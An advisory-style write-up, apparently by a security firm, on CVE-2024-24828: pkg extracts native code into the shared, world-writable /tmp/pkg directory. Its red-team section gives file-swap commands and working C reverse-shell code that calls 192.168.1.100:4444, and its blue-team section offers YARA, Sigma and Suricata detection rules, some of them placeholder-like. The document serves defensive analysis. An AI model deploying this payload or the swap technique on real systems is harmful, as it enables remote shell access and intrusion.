CVE-2024-24828

Executive Summary

CVE-2024-24828 is a vulnerability in the pkg tool, a Node.js package bundler that compiles projects into standalone executables. The core issue lies in the predictable and shared directory /tmp/pkg/* used to store native code packages. On Unix systems, this directory is world-writable and lacks uniqueness in package naming. An attacker with local access can replace a legitimate native-code executable with a malicious one, leading to arbitrary code execution when a user runs the bundled application. The pkg package is deprecated, and no official patch will be released. This vulnerability has a CVSS score of 6.6 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood but high impact in shared environments.

Supply Chain & Package Security

This vulnerability directly impacts the Node.js supply chain. The pkg tool is used to create self-contained executables from Node.js projects, often for distribution. The insecure handling of native code packages means that any user who builds an executable with pkg and distributes it to a shared system (e.g., CI/CD runners, multi-user servers) is at risk. The malicious replacement of native code can lead to code execution in the context of the user running the executable, potentially compromising the entire application and its data. Since the package is deprecated, users must migrate to alternatives like Node.js 21’s single executable application support.

CVSS Breakdown & Threat Level

• CVSS Score: 6.6 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local – The attacker must have local access to the system.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – The attacker needs a standard user account.
• User Interaction (UI): Required – The victim must run the malicious executable.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Malicious code can be injected.
• Availability (A): High – System can be disrupted.

Threat Level: Medium. Exploitation requires local access, but the impact is severe in shared environments.

Deep Dive & Mechanics

The pkg tool bundles Node.js applications into executables. When native code (e.g., C++ addons) is involved, pkg extracts these binaries to a hardcoded directory: /tmp/pkg/*. The directory is shared among all users on the same system, and the package names are predictable (e.g., based on the original filename). An attacker with local access can:

1. Identify the target executable’s native code package name (e.g., by monitoring /tmp/pkg/ or knowing the application).
2. Replace the legitimate binary in /tmp/pkg/ with a malicious one (e.g., a backdoor or keylogger).
3. Wait for a user to run the bundled executable, which will load the malicious native code.

The vulnerability is rooted in CWE-276: Incorrect Default Permissions – the /tmp/pkg/ directory is world-writable, and the files are not protected against replacement.

Vulnerable vs. Patched Code

Since pkg is deprecated and no patch exists, there is no patched code. The vulnerable behavior is inherent to the design:

Vulnerable (pkg):

• Native code is extracted to /tmp/pkg/<package_name>.
• No uniqueness or permission checks.
• Example: A user runs myapp which loads /tmp/pkg/native_addon.node.

No Patched Version:

• Users must migrate to alternatives like Node.js 21’s single executable application feature, which uses a different, secure mechanism.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Local access to the target system (e.g., via SSH, shared hosting).
• Knowledge of the target application’s native code package name.

Steps:

1. Identify the target: Monitor /tmp/pkg/ for new files or know the application’s native code name.
2. Create a malicious payload: For example, a reverse shell or data exfiltration script.
3. Replace the legitimate file:

   # Assume the target native code is 'native_addon.node'
   cp /tmp/pkg/native_addon.node /tmp/pkg/native_addon.node.bak
   cp /path/to/malicious.so /tmp/pkg/native_addon.node
   

4. Wait for execution: When a user runs the bundled executable, the malicious code executes.

Example Malicious Payload (C reverse shell):

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

void __attribute__((constructor)) reverse_shell() {
    int sock;
    struct sockaddr_in server;
    sock = socket(AF_INET, SOCK_STREAM, 0);
    server.sin_addr.s_addr = inet_addr("192.168.1.100");
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    connect(sock, (struct sockaddr *)&server, sizeof(server));
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/sh", NULL, NULL);
}

Blue Team (Defender)

Detection:

• Monitor /tmp/pkg/ for unexpected file modifications.
• Use file integrity monitoring (FIM) on /tmp/pkg/.
• Alert on processes accessing /tmp/pkg/ that are not the expected application.

Prevention:

• Restrict write access to /tmp/pkg/ using chmod or chattr.
• Use a dedicated, isolated directory for each user (e.g., via tmpfs with per-user namespaces).
• Migrate away from pkg to secure alternatives.

Hunting:

• Search for executables that create /tmp/pkg/ directories.
• Check for unusual native code files in /tmp/pkg/.

Indicators of Compromise (IOCs)

• File Path: /tmp/pkg/* (any file in this directory)
• Process: Any process that writes to /tmp/pkg/ unexpectedly.
• Network: Outbound connections from processes using /tmp/pkg/ (if malicious payload is a reverse shell).
• File Hash: Hashes of replaced native code files (e.g., SHA256 of malicious .node files).

Detection Engineering

YARA Rule

rule CVE_2024_24828_pkg_tamper {
    meta:
        description = "Detects potential tampering of pkg native code in /tmp/pkg/"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24828"
    strings:
        $s1 = "/tmp/pkg/" ascii wide nocase
        $s2 = ".node" ascii wide nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: CVE-2024-24828 - pkg Native Code Tampering
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file modifications in /tmp/pkg/ directory
author: Valters IT
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|startswith: '/tmp/pkg/'
        EventType: 'Modify'
    condition: selection
falsepositives:
    - Legitimate pkg builds (if still used)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2024-24828 - Potential pkg Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Identify affected executables: Run the executable and check if /tmp/pkg/ is created.
2. Restrict permissions: Set /tmp/pkg/ to chmod 700 and ensure only the intended user can write.
3. Monitor: Implement file integrity monitoring on /tmp/pkg/.

Long-Term Fix:

• Migrate away from pkg: Use Node.js 21’s single executable application feature or other secure bundlers (e.g., nexe, pkg alternatives).
• Use containerization: Run applications in isolated containers (Docker) to prevent local access.
• Apply principle of least privilege: Ensure users have minimal permissions.

No Patch Available: Since pkg is deprecated, no official patch will be released. Users must migrate.

Valters IT